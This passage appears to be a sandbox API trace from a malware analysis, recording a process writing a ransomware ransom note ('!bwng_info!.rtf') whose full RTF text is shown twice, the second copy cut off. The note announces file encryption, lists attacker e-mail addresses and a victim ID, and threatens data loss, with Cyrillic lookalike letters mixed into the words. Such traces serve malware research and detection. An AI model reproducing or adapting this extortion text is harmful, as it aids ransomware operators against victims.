10.0\\reader\\locale\\pt_br\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.360] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0042.360] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is 